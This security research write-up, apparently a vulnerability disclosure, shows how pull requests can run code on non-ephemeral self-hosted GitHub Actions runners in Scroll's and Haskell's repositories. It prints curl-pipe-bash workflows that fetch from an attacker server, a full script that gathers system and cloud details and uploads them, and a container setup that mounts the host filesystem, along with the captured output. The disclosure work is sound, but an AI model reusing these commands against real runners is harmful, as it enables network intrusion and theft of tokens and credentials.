Self hosted runners

GitHub offers the possibility to host your own runners and customize the environment used to run jobs in workflows. These runners are called self-hosted.

Self-hosted runners provide enhanced control over hardware, operating systems, and software tools compared to GitHub-hosted runners. Using self-hosted runners allows customization of hardware configurations to meet specific requirements, ensuring sufficient processing power and memory for larger tasks. Additionally, there is flexibility to install locally available software and opt for an operating system not supported by GitHub-hosted runners. Self-hosted runners can take various forms, including physical, virtual, containerized, on-premises, or cloud-based setups.

Self-hosted runners can be added at various levels in the management hierarchy:

• Repository-level runners are dedicated to a single repository.

• Organization-level runners can process jobs for multiple repositories in an organization.

• Enterprise-level runners can be assigned to multiple organizations in an enterprise account.

There exists two types of self-hosted runners, ephemeral and non-ephemeral ones. By default, the runners are non-ephemeral, meaning the environment used by the runner is not cleaned after a job completes. If attackers manages to execute code on a non-ephemeral runner, they could backdoor it by adding a process in the background. These kinds of runners are thus really sensitive.

Non-ephemeral runners can be identified by looking at run logs. A tool called gato1 can be used to automate this process:

$ gato e --repository vercel/next.js!
    - Enumerating: vercel/next.js!
[+] The repository contains a workflow: build_reusable.yml that might execute on self-hosted runners!
[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
    - The runner name was: nextjs-hel1-6 and the machine name was nextjs-hel1-6
[!] The repository contains a non-ephemeral self-hosted runner!

If the workflow uses the actions/checkout action, the run logs will display the Cleaning the repository message. Its presence indicates a shared working directory between builds on the runner. The name of the runner is also a good indicator. If the name is identical across jobs, it probably means that the runner is non-ephemeral.

To use a self-hosted runner, the runs-on directive must be changed to match the labels of the runner defined at creation time like this:

name: Self Hosted
on: [push]
jobs:
  self-hosted:
    runs-on: [self-hosted, linux, x64, gpu]
    steps:
      - uses: actions/checkout@v4

GitHub's documentation is clear about self-hosted runners, they recommend to exclusively employ them with private repositories. The rationale behind this recommendation is that forks of public repository have the potential to execute possibly harmful code on the self-hosted runner machine, using the attacks described earlier.

By exploiting self-hosted runners, attackers could access the internal network of the company. They could also monitor new jobs to gain access to secrets of other workflows and steal other GITHUB_TOKEN with more permissions. Indeed, if another workflow uses the actions/checkout action, the .git/config file will contain a GitHub token belonging to the user that triggered the workflow. In many cases this token will have write privileges over the repository.

Scroll

Scroll is blockchain company, their GitHub repository zkevm-circuits is configured with a non-ephemeral self-hosted GitHub runner labeled pse-runner:

File: ProverBenchFromHalo2.yml
01: name: Prover Bench on halo2 PR
02: on:
03:   workflow_dispatch:
[...]
17: jobs:
18:   Exec-ProverBench-on-halo2-PR:
19:     runs-on: pse-runner

An external attacker could use this runner to access the internal network of the company.

To demonstrate the impact of such vulnerability the following workflow was deployed:

name: Security test
on:
  pull_request:
  
jobs:
  security:
    runs-on: pse-runner

    steps:
      - name: security test
        run: |
          curl -k https://ip.ip.ip.ip/static/exfil.sh | bash

The script downloads and executes the following bash script:

#!/bin/bash

EXFIL_FILE="exfil.txt"
EXFIL_URL="https://ip.ip.ip.ip/upload"

run-cmd(){
    echo "[+] $@"
    $@
}


exfil(){

    run-cmd id
    run-cmd pwd
    run-cmd ip a
    run-cmd cat /etc/hosts
    run-cmd ls -asl ../
    run-cmd ls -asl ../../
    run-cmd ls -asl /home/
    run-cmd sudo -l
    run-cmd ps auxfw
    run-cmd cat /proc/*/cmdline
    run-cmd cat /proc/net/fib_trie
    run-cmd cat /proc/net/arp
    run-cmd docker ps -a
    run-cmd az account show
}

exfil > $EXFIL_FILE

http_status=$(curl -sk -o /dev/null -w "%{http_code}" -X POST -F "file=@$EXFIL_FILE" $EXFIL_URL)

if [ "$http_status" -ne 200 ]; then
    openssl enc -aes-256-cbc -salt -pbkdf2 -a -pass pass:<placeholder> -in $EXFIL_FILE -a -out "$EXFIL_FILE.enc"
    cat "$EXFIL_FILE.enc"
    rm "$EXFIL_FILE.enc"
fi

rm $EXFIL_FILE%            

The output of this script is then sent to a remote server that we control and here is some of the output:

[+] id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),118(netdev),119(lxd)
[+] pwd
/home/ubuntu/actions-runner/_work/zkevm-circuits/zkevm-circuits
[...]
[+] sudo -l
Matching Defaults entries for ubuntu on ip-REDACTED:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User ubuntu may run the following commands on ip-REDACTED:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
[...]

The preceding sudoers configuration would have facilitated a straightforward privilege escalation to root.

The same attack was performed on the jenkins1 runner:

[+] id
uid=1001(CI) gid=1001(CI) groups=1001(CI)
[+] pwd
/home/CI/actions-runner/_work/zkevm-circuits/zkevm-circuits
[+] ps auxfw
[...]
CI       1949979  0.0  0.0   7760   436 ?        S     2023   0:00  \_ /bin/bash /home/CI/actions-runner/run.sh
CI       3486305  0.0  0.0   7760   400 ?        S     2023   0:00      \_ /bin/bash /home/CI/actions-runner/run-helper.sh
CI       3486309  0.0  0.0 4379860 164932 ?      Sl    2023  63:11          \_ /home/CI/actions-runner/bin/Runner.Listener run
CI       2621052 63.5  0.0 9571040 105996 ?      Sl   16:05   0:01              \_ /home/CI/actions-runner/bin.2.311.0/Runner.Worker spawnclient 115 118
CI       2621149  0.0  0.0   7764  3428 ?        S    16:06   0:00                  \_ /usr/bin/bash -e /home/CI/actions-runner/_work/_temp/c146c643-e8b1-4247-95f6-da15630cfa23.sh
CI       2621152  0.0  0.0   7764  3672 ?        S    16:06   0:00                      \_ bash
CI       2621160  0.0  0.0  12144  5140 ?        R    16:06   0:00                          \_ ps auxfw
[...]

Allowing external user to use self-hosted runner can be dangerous as they can access the internal network. In the current case It's even worse as the runner is non-ephemeral which means that a malicious user could backdoor this runner to keep internal access.

With a backdoor on this runner it would be possible to monitor the different workflows of this project to exfiltrate sensitive GitHub tokens. This is possible because for example the ProverBenchFromHalo2.yml workflow performs a checkout action:

File: ProverBenchFromHalo2.yml
17: jobs:
18:   Exec-ProverBench-on-halo2-PR:
19:     runs-on: pse-runner
20:     env:
21:       GH_USER: ${{ github.event.inputs.ghuser }}
22:       HALO2PR: ${{ github.event.inputs.halo2pr }}
23:     steps:
24:       - run: echo "halo2 PR ${{ env.HALO2PR }} submitted by ${{ env.GH_USER }}"
25:       - run: echo "Running prover benchmarking due to ${{ github.event.inputs.event-type }}."        
26:       - uses: actions/checkout@v4

Which means that the .git/config file will contain a GitHub token belonging to the user that trigger the workflow. Since it's triggered by a workflow_dispatch event, the token will have write access to the zkevm-circuits project as this kind of trigger can only be triggered by a contributor of a project.

Note that the ProverBenchFromHalo2.yml workflow also use ssh to access other servers:

File: ProverBenchFromHalo2.yml
31:       - run: |
32:           ssh prover "bash -s" -- < .github/proverCiScripts/rsSysstat.sh

Which means that an attacker could perform lateralization to compromise other parts of the network.

Here is the output on octoscan2 for this vulnerability:

Haskell

The haskell-language-server GitHub repository is configured with a non-ephemeral self-hosted GitHub runner labeled linux-space:

File: release.yaml
399:   bindist-linux:
400:     name: Tar linux bindists (linux)
401:     runs-on: [self-hosted, linux-space]

The following workflow was deployed:

name: Security test
on:
  pull_request:
  
jobs:
  security:
    runs-on: [self-hosted, linux-space]
    container:
      image: debian:11
      volumes:
        - /:/mnt

    steps:
      - name: security test
        run: |
          apt-get update && apt-get install -y bash curl git 
          curl -k https://ip.ip.ip.ip/static/exfil.sh | bash

In the previous example the host is mounted inside the container to access all the files of the host machine.

The script downloads and executes the same bash script that perform exfiltration and send the output to a remote server:

[+] ls -asl /mnt/bin /mnt/boot /mnt/cache /mnt/dev /mnt/etc /mnt/home /mnt/nix /mnt/opt /mnt/proc /mnt/root /mnt/run /mnt/srv /mnt/sys /mnt/tank /mnt/tmp /mnt/usr /mnt/var
[...]
/mnt/home:
total 59
9 drwxr-xr-x 28 root root  29 Apr  1  2023 .
9 drwxr-xr-x 19 root root  19 Apr  2  2023 ..
9 drwx------  5 1024 users  6 Mar 27  2023 a*****s
1 drwx------  2 1022 users  2 Mar  1  2023 a****a
9 drwx------  9 1000 users 16 Jun 26  2023 a******n
1 drwx------  2 1001 users  2 Mar  9  2022 b*****i
1 drwx------  3 1002 users  3 Mar  1  2023 b*****r
1 drwx------  2 1003 users  2 Mar  9  2022 d******u
[...]
5 -rw-r--r--  1 root root  41 Mar 24  2023 token.txt
[...]
/mnt/root:
total 58
 9 drwx------  7 root root    12 Sep 28 09:14 .
 9 drwxr-xr-x 19 root root    19 Apr  2  2023 ..
29 -rw-------  1 root root 26566 Sep 28 09:14 .bash_history
 1 drwx------  4 root root     4 Mar  7  2023 .config
 1 drwx------  2 root root     4 Apr  2  2023 .ssh
 1 drwxr-xr-x  3 root root     3 Mar  7  2023 .vscode-server
[...]
/mnt/run:
[...]
0 drwxr-xr-x  5 root root   100 Jan 19 00:51 credentials
0 drwx------  8 root root   180 Nov 21 01:03 docker
4 -rw-r--r--  1 root root     7 Nov 21 01:03 docker.pid
0 srw-rw----  1 root   131    0 Nov 21 01:03 docker.sock
0 drwxr-xr-x  4 root root    80 Nov 21 01:03 github-runner

Since we managed to mount the host inside the container it could be possible to install a backdoor on the runner to gain persistent access. Like in the previous example it would be possible to exfiltrate sensitive GitHub tokens via the release.yaml workflow which performs a checkout action. It is also possible to access the internal network.

We also found the same vulnerability on multiple repositories:

• sharp (a Node.js image processing library with more than 4million weekly download according to npmjs.org)
• WasmEdge
• Akash Network

This type of vulnerability has recently come to the fore with the compromise of several repositories, such as:

• actions/runner-images3

• tensorflow/tensorflow4

• pytorch/pytorch5

Conclusion

This article close this series of GitHub action exploitation, we showcase how dangerous it can be to allow external user to execute arbitrary code in self-hosted runners through example of vulnerable repository such as Haskell and Scroll.

All the vulnerabilities that we presented were found with octoscan, you can find it on out GitHub2.

• 1. https://github.com/praetorian-inc/gato
• 2. a. b. https://github.com/synacktiv/octoscan
• 3. https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-the…
• 4. https://www.praetorian.com/blog/tensorflow-supply-chain-compromise-via-self-hosted-runner-attack/
• 5. https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/